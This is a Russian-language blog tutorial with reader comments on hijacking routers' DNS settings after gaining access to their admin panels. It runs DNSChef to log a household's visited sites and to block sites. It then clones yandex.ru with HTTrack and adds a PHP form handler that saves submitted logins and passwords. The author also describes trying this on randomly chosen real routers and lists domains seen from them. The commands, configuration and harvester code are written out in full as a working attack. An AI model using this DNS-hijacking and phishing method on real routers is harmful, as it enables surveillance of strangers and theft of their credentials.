Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS

При получении доступа к настройкам сетевого оборудования, когда физически мы находимся с ним не в одной локальной сети (по сути, когда невозможна атака человек-посередине), то одной из альтернатив может стать использование DNS прокси. Данный метод позволяет собрать разнообразную информацию и даже получить логины и пароли от сайтов. Данный метод применим, например, для каждого из роутеров в административную панель которых мы имеем доступ с помощью программы Router Scan by Stas’M.

Принцип работы DNS и фальшивого DNS

Если сказать очень упрощённо, то, когда в строку браузера мы вводим адрес сайта, например https://hackware.ru/, то компьютеру этот набор символов ничего не говорит. Он обращается к специально предназначенному для этого компьютеру в Интернете (DNS серверу) и спрашивает его, по какому адресу расположен домен hackware.ru. Сервер отвечает IP адресом. После этого наш компьютер обращается уже по IP адресу к серверу, на котором размещён hackware.ru. При этом в строке браузера ничего не меняется и для пользователей всё это происходит незаметно. Ещё раз повторю, это упрощённая, фактически, не совсем верная модель, но суть она отражает и для наших целей подходит идеально.

Когда мы получаем доступ к настройкам сетевого оборудования, то мы можем изменить любую информацию, в том числе и прописать адрес своего DNS сервера. Наш фальшивый DNS сервер мы можем настроить как угодно:

  • он может отсылать неверный IP для всех запросов (так мы заблокируем Интернет подключение)
  • он может отсылать неверный IP для конкретных сайтов (остальные сайты будут работать, а некоторые – нет)
  • он может отсылать IP сервера, на котором будет копия настоящего сайта, при этом при вводе логина и пароля они будут сохраняться для нас.

При этом, если мы выбрали подменять информацию только для определённых сайтов, то для всех остальных наш DNS прокси будет спрашивать верные IP у настоящего DNS сервера, а потом переправлять верный ответ.

Программы для DNS прокси

Фальшивый DNS сервер ещё называют DNS прокси. В этой заметке я буду делать на примере DNSChef, она предустановлена и в Kali Linux, и в BlackArch. Ещё одна программа с аналогичной функциональностью - dns2proxy.

Если у вас дистрибутив, в котором в репозиториях DNSChef отсутствует, то вы можете самостоятельно установить любую из этих программ. Например, в производных Debian (Linux Mint, Ubuntu) это делается так:

sudo apt-get install python-ipy
sudo pip install dnslib
wget http://thesprawl.org/media/projects/`curl -s http://thesprawl.org/projects/dnschef/ | grep -E -o 'dnschef-[0-9]{1,2}.[0-9]{1,2}.zip' | head -n 1`
unzip dnschef-*
rm dnschef-*zip
cd dnschef-*
sudo python dnschef.py --help

Ещё DNSChef прокси работает на Windows, причём даже не нужно ставить зависимости – бинарные файлы скомпилированы уже с ними. Но я в качестве сервера не использую Windows, поэтому каких-то детальных инструкций дать не могу.

Обычно, мы не можем запустить DNS прокси на нашем собственном компьютере, поскольку для работы нужно несколько условий:

  • белый IP адрес
  • постоянное подключение к Интернету
  • ОС Linux (для меня это необходимое условие)

Самым простым и очевидным решением здесь является использование VDS. Можно воспользоваться готовыми вариантами, которые не требуют настройки (Debian, Ubuntu) и установить в них DNSChef как показано чуть выше. Можно целиком загрузить туда Kali Linux, поскольку хостер поддерживает пользовательские дистрибутивы. Это всё не принципиально – DNSChef везде будет работать одинаково. Если кому-то интересно, то я в качестве удалённого сервера использую BlackArch. Детальные инструкции по его настройке вы можете найти в разделе «Arch / BlackArch как сервер» здесь.

Независимо от того, кукую ОС вы выбрали, опции командной строки для DNSChef везде одинаковые.

Запуск и остановка DNS прокси

Запускать DNSChef нужно с ключом -i после которого должен идти IP вашего сервера (вашего VDS). Если вы по какой-то причине забыли IP вашего сервера, то узнать его можно, например, так:

ip a

Также для сохранения данных в файл можно воспользоваться опцией --logfile после которой указать путь до файла для сохранения истории запросов.

Ещё до самой команды можно поставить команду nohup, а после команды символ &; это приведёт к тому, что после закрытия терминала процесс продолжит свою работу в фоне (подробности здесь). Таким образом, если у меня IP 185.117.153.79, а сохранять данные я буду в файл /root/dns.log, то моя команда имеет полный вид:

sudo nohup dnschef -i 185.117.153.79 --logfile=/root/dns.log &

Просматривать записываемые данные можно, например, так:

cat /root/dns.log

Если вы хотите остановить процесс, то узнайте его pid с помощью

ss -pnau

Посмотрите, какой процесс прослушивает порт 53, а затем используйте команду

kill pid_процесса_на_порту_53

Сбор сведений, какие сайты посетил владелец роутера

Если запустить DNSChef с минимальным набором опций, например, так:

sudo nohup dnschef -i IP_вашего_DNS_прокси --logfile=/root/dns.log &

То DNSChef не будет оказывать никакого влияния на DNS записи. При получении DNS запроса он будет спрашивать у настоящего DNS сервера правдивые данные, а затем пересылать их запрашивающему. Таким образом, можно узнать, какие сайты были посещены.

Вносим изменения в роутер, доступ к которому мы получили. В поле Primary DNS Address я вписываю адрес своего DNS прокси и сохраняю изменения:

01

Перед тем как заменить запись на свою, обратите внимание на ту, которая там есть. Если она отличается от распространённых публичных DNS серверов (например, 8.8.8.8 и 8.8.4.4), то имеет смысл воспользоваться опцией --nameservers и указать там тот DNS, который присутствовал в настройках роутера изначально. Это очень хороший способ не выдать наше присутствие, поскольку роутер может использовать пользовательский DNS с только этому серверу известными записями (такое запросто может быть, если админ для своей локальной сети использует несуществующие домены). При этом ни наш сервер, ни сервер по умолчанию для запроса реальных данных (8.8.8.8) ничего об этих доменах не могут знать. Это может нарушить работу и пользователей роутера и выдать наше присутствие. Если же мы добавим к команде, например, --nameservers=212.109.216.106 (в моём случае, IP 212.109.216.106 – это та запись, которая изначально была для первичного DNS сервера), то через наш DNS прокси запросы будут идти на тот же самый DNS, что и настроил админ. При этом мы по-прежнему сможем вести запись запросов и модифицировать ответы, т.е. на нашу работу применение этой опции никак не сказывается.

После этого начинается сбор данных:

02

Кроме сайтов, непосредственно посещённых пользователем, некоторые программы делают запросы к сайтам и веб-приложениям, они тоже в этом списке. Из «человеческих» здесь можно обратить внимание на сайты:

  • ftp.alliance-healthcare.ru
  • post.vitafarm.ru

У кого-то установлен автоматический обновлятель драйверов

  • update.drp.su

Эти записи говорят об использовании Team viewer

  • client.teamviewer.com
  • ping3.teamviewer.com

А DNS запросы об этих сайтах говорят об использовании техники Apple

  • p47-buy.itunes.apple.com
  • captive.apple.com
  • p09-keyvalueservice.icloud.com
  • apple.com
  • guzzoni.apple.com
  • www.apple.com
  • init-p01st.push.apple.com

03

Тут видно, что наконец-то люди проснулись и начали пользоваться Интернетом:

04

Надеюсь это не роутер на работе – дальше там в основном идут одни социальные сети. ))

Узнать, какие сайты посетил пользователь уязвимого роутера – это хорошо, но явно мало.

Блокировка сайтов с использованием DNS прокси

Мы можем полностью «запретить» использование Интернета отправляя вместо реальных IP неверный в ответ на все запросы. Это делается опцией --fakeip. Пример:

sudo nohup dnschef -i IP_вашего_DNS_прокси --fakeip 127.0.0.1 --logfile=/root/dns.log &

У конечного пользователя будет ошибка что-то вроде невозможно подключиться к DNS, сайты открываться не будут.

Используя пример выше, рассмотрим ситуацию, что вы хотите перехватить запросы только для blackarch.ru и оставить запросы на все другие домены, такие как suip.biz без модификации. Вы можете использовать параметр --fakedomains как проиллюстрировано ниже

sudo nohup dnschef -i IP_вашего_DNS_прокси --fakeip 127.0.0.1 --fakedomains blackarch.ru --logfile=/root/dns.log &

Можно использовать файлы, в которых прописать, к каким доменам обрывать подключения, или, наоборот, запретить доступ ко всем, кроме отдельных. Больше подобных примеров можно посмотреть здесь. Мне не хочется на этом останавливаться, т.к. какой-то выгоды от этого трудно получить, разве что заблокировать соц.сети от далёких с компьютерными технологиями людей (это легко обходиться).

Кража логинов и паролей с помощью DNS прокси

Это самая интересная часть, но и самая сложная. Кроме основ по использованию ОС Linux вы также должны владеть основами по администрированию веб-серверов, добавлению виртуальных хостов, а также уметь использовать дополнительные программы. На самом деле, чего-то очень трудного в этом нет, веб сервер уже даже может быть настроен (если вы заказали сконфигурированный Debian или Ubuntu). Как уже сказал, каких-то особых знаний здесь не требуется, это просто нужно уметь делать.

Алгоритм здесь следующий. Предположим, мы хотим узнать логин и пароль пользователя от сайта Яндекс (yandex.ru). Мы создаём виртуальный хост yandex.ru на нашем сервере. Там мы размещаем фальшивую страницу авторизации, которая сохранит для нас логин и пароль, введённый пользователем. Далее мы ждём, пока кто-нибудь подключиться к нашему серверу. Но… к нему никто не подключится, поскольку в реальных DNS записях указан не IP нашего сервера, а совершенно другого. Но вы ведь помните, что мы теперь контролируем все DNS запросы для конкретного человека (роутера)? Т.е. мы вместо отправки ему настоящего IP отправляем IP нашего фейкового yandex.ru и теперь уже ждём подключения с большими шансами.

Начнём по порядку. Предположим, что веб-сервер вы уже настроили или сами найдёте, как это сделать на Linux. Теперь добавляем виртуальный хост yandex.ru (я буду делать на примере BlackArch, но суть везде примерно одинаковая).

Начинаю с создания папки:

mkdir -p /var/web/yandex.ru
echo 'Pod konstructorom' > /var/web/yandex.ru/index.html

Создайте файл

vim /etc/httpd/conf/sites-enabled/yandex.ru.conf

примерно следующего содержания

<VirtualHost *:80>
        DocumentRoot "/var/web/yandex.ru"
        ServerName yandex.ru
        ServerAdmin you@example.com
        ErrorLog "/var/log/httpd/localhost-error_log"
        TransferLog "/var/log/httpd/localhost-access_log"

<Directory />
    Options +Indexes +FollowSymLinks +ExecCGI
    AllowOverride All
    Order deny,allow
    Allow from all
Require all granted
</Directory>

</VirtualHost>

Действительно важными здесь являются строки (первая указывает физическое расположение папки с сайтом, вторая – имя, которое сервер будет сопоставлять с папкой на сайте):

        DocumentRoot "/var/web/yandex.ru"
        ServerName yandex.ru

Расположение логов вы можете настроить по своему желанию.

После этого перезапустите веб-сервер:

systemctl restart httpd.service

Проверить наш виртуальный хост мы пока не можем, поскольку нам нужно настроить DNSChef, чтобы он отправлял IP нашего подложного сервера вместо оригинального. Останавливаем DNSChef. И заново запускаем его примерно такой командой:

sudo nohup dnschef -i IP_вашего_DNS_прокси --fakeip IP_вашего_веб-сервера --fakedomains yandex.ru --logfile=/root/dns.log &

Например, конкретная команда в моём случае:

sudo nohup dnschef -i 185.117.153.79 --fakeip 185.117.153.79 --fakedomains yandex.ru --logfile=/root/dns.log &

Я не собираюсь воровать чьи-либо учётные данные (по крайней мере сейчас), поэтому случайно выбранных «жертв» я отключаю от своего DNS, возвращаю им оригинальные записи и дальше продолжаю тренироваться в лабораторных условиях.

Итак, при попытке открыть yandex.ru я теперь наблюдаю:

08

Этого явно недостаточно для получения логина и пароля. Нам нужно задействовать что-то вроде Social-Engineer Toolkit (SET). К сожалению, именно в этой ситуации SET не способна помочь. Она делает клон только HTML страницы сайта, а картинки, скрипты и прочее подгружает с оригинального. В нашем случае, ничего с оригинального сайта загружено быть не может, поскольку обращения будут идти к нашему веб-серверу, на котором никаких картинок и других необходимых файлов нет. Т.е. страница будет открываться, но выглядеть она будет очень неестественно.

Нам способна помочь программа HTTrack. Давайте создадим каталог и в нём сделаем полный клон одной страницы сайта:

mkdir mirror
cd mirror
httrack http://yandex.ru -r2

Теперь мы перенесём наш клон в директорию виртуального хоста:

rm -rf /var/web/yandex.ru/*
mv yandex.ru/ /var/web/

При попытке открыть теперь всё будет выглядеть весьма достойно (хотя данные больше не обновляются и отсутствует реклама):

09

Нам нужно отредактировать файл, чтобы данные для входа отправлялись на наш сервер файлу, который для этого предназначен. Нужно базовое знание HTML разметки или хотя бы понимание, как работает отправка через формы, поскольку у каждого сайта нужно изменить свою строку, отличающуюся от других. Открываем файл

vim /var/web/yandex.ru/index.html

И строку

action="https://passport.yandex.ru/passport?mode=auth&amp;retpath=https://mail.yandex.ru"

нужно заменить на строку вида

action="/файл_сохраняющий_пароли"

В моём случае (файл для сохранения паролей post.php) строка имеет вид:

action="/post.php?mode=auth&amp;retpath=https://mail.yandex.ru"

На всё, что идёт после вопросительного знака можно не обращать внимание – в подобных случаях это не оказывает никакого влияния.

Ещё нам нужен сам файл post.php, который будет принимать и сохранять логины и пароли:

vim /var/web/yandex.ru/post.php

Пишем туда примерно такое:

<?php $file = 'gotit.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?>Error occurred.

Создадим файл и сделаем его владельцем пользователя http (в Arch Linux это веб-сервер):

touch /var/web/yandex.ru/gotit.txt
chown -R http:http /var/web/yandex.ru/gotit.txt

Вводим свои учётные данные для проверки. Обратите внимание, что на страницах работает автозаполнение! Т.е. веб-браузер уверен, что страница загружена с истинного сервера.

10

Пароль наш:

11

Может быть это не очевидно, но домен yandex.ru и www.yandex.ru – это две большие разницы! На самом деле, физически файлы в yandex.ru и www.yandex.ru могут находиться на разных серверах. Но не это нам интересно. Нам интересно то, что подменяя IP в DNS записи для yandex.ru, после «аутентификации» мы можем сделать редирект на www.yandex.ru и пользователь попадёт именно на реальный сайт, а не на наш сервер (конечно, если мы и для этого домена не подменили ответ от DNS сервера).

Статья не может быть бесконечной, поэтому здесь она кончается, но ещё можно было бы поговорить о:

  • попытке обхода HTTP Strict Transport Security (HSTS) с помощью SSLStrip+ и dns2proxy (описанный здесь метод перехвата логина и пароля не сработает на сайтах с HSTS, примером сайта с HSTS является mail.ru) к пробам этого вернёмся в одной из последующих статей;
  • программах для создания клонов сайтов (к сожалению, HTTrack не всегда может помочь, например, с помощью него я так и не сумел «взять» такой сайт как vk.com, хотя, в любом случае, эта проблема решаемая);
  • Arch Linux, всё таки, не самая популярная система, можно было бы поговорить о настройке веб-сервера на Debian;
  • как уже было упомянуто, для маскировки своих действий можно написать получше код для обработки после авторизации (в частности, сделать переадресацию на www.*, а вместо сохранения паролей на сайте отправлять их на почту тестеру);
  • также было упомянуто, что DNSChef прокси работает на Windows, т.е. всю эту конструкцию, включая веб-сервер, можно настроить под Windows;
  • существуют много различных типов DNS записей и любой из них можно подменять для атаки на ту или иную службу.       

Рекомендуемые статьи:

12 комментариев to Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS

  1. Victor:

    А порты пробрасывать нужно?

  2. Алексей:

    а можно просто в режиме реального времени смотреть что он открывает смотрит зная пароль wi-fi и имея полный доступ к роутеру чтоб визуально видеть а не тупо ссылки или к мирофону как то подключится???

    • Alexey Alexey:

      Говоря про пароль Wi-Fi, вы имеете ввиду возможность подключиться к сети Wi-Fi? Если так, то мы оказывается в локальной сети и всё сводится к банальной атаке человек-посередине.

      Если возможности подключиться к локальной сети нет, то можно попробовать на своём сервере поднять туннельный интерфейс, а в DNS на все запросы отвечать IP нашего сервера. SSH туннели так работают, там правда не при помощи DNS трафик перенаправляется. В теории я не вижу причин, почему бы в нашем случае так не заработало, хотя вполне возможно они и есть. Нужно тестировать, в общем.

      В третьей части «Применение фальшивого VPN (атака человек-посередине+обход HSTS)» я писал про ещё один вариант организовать атаку человек-посередине не будучи в локальной сети. Кстати, в настройке VPN также используются туннельные интерфейсы.

      Нужно изучать мануалы по туннелям и тестировать.

  3. Сергей:

    Доброй ночи! Отличные у вас статьи. Подскажите, а если есть необходимость заменить dns не на одном роутере,а скажем на тысячи? Не приписывать же их вручную… Как бы вы поступили?

    • Alexey Alexey:

      Если мы говорим про действия в законных целях – например, восстановление настроек в уже поражённых хакерами или вирусами роутерах, то написал бы программу. Для каждого роутера пришлось бы делать собственный механизм определения модели, затем последующую авторизацию, разбор полученной информации и формирование запросов на внесение изменений.

      Если говорим про действия с противоправными целями, то я бы не стал ничего делать. По крайней мере, если попадётесь, не надо говорить, что это я вас надоумил. smiley

  4. Pozik:

    В dnschef нет такой команды(опции) как --logfile, так должно быть?

    Запущен как live cd, x64, 2016.2.

    • Alexey Alexey:

      Интересное наблюдение! Я показывал на примере BlackArch – там устанавливается версия 0.3. А в Kali Linux до сих пор версия 0.2. Я раньше этого не знал. Если необходима эта опция, то можно удалить предустановленную версию и установить последнюю с сайта:

      sudo apt-get remove dnschef
      sudo apt-get install python-ipy
      sudo pip install dnslib
      wget http://thesprawl.org/media/projects/`curl -s http://thesprawl.org/projects/dnschef/ | grep -E -o 'dnschef-[0-9]{1,2}.[0-9]{1,2}.zip' | head -n 1`
      unzip dnschef-*
      rm dnschef-*zip
      cd dnschef-*
      sudo python dnschef.py --help

      Но на Live системе не получиться это сделать.

      • Pozik:

        Да, не будет сохраняться.

        После ввода всех команд приведенных вами, установился 0.3 версия, но не за место 0.2го.

        Запуск 0.3ей версии возможен по команде:

        cd /root/Desktop/dnschef-0.3/

        sudo python dnschef.py

Добавить комментарий

Ваш e-mail не будет опубликован.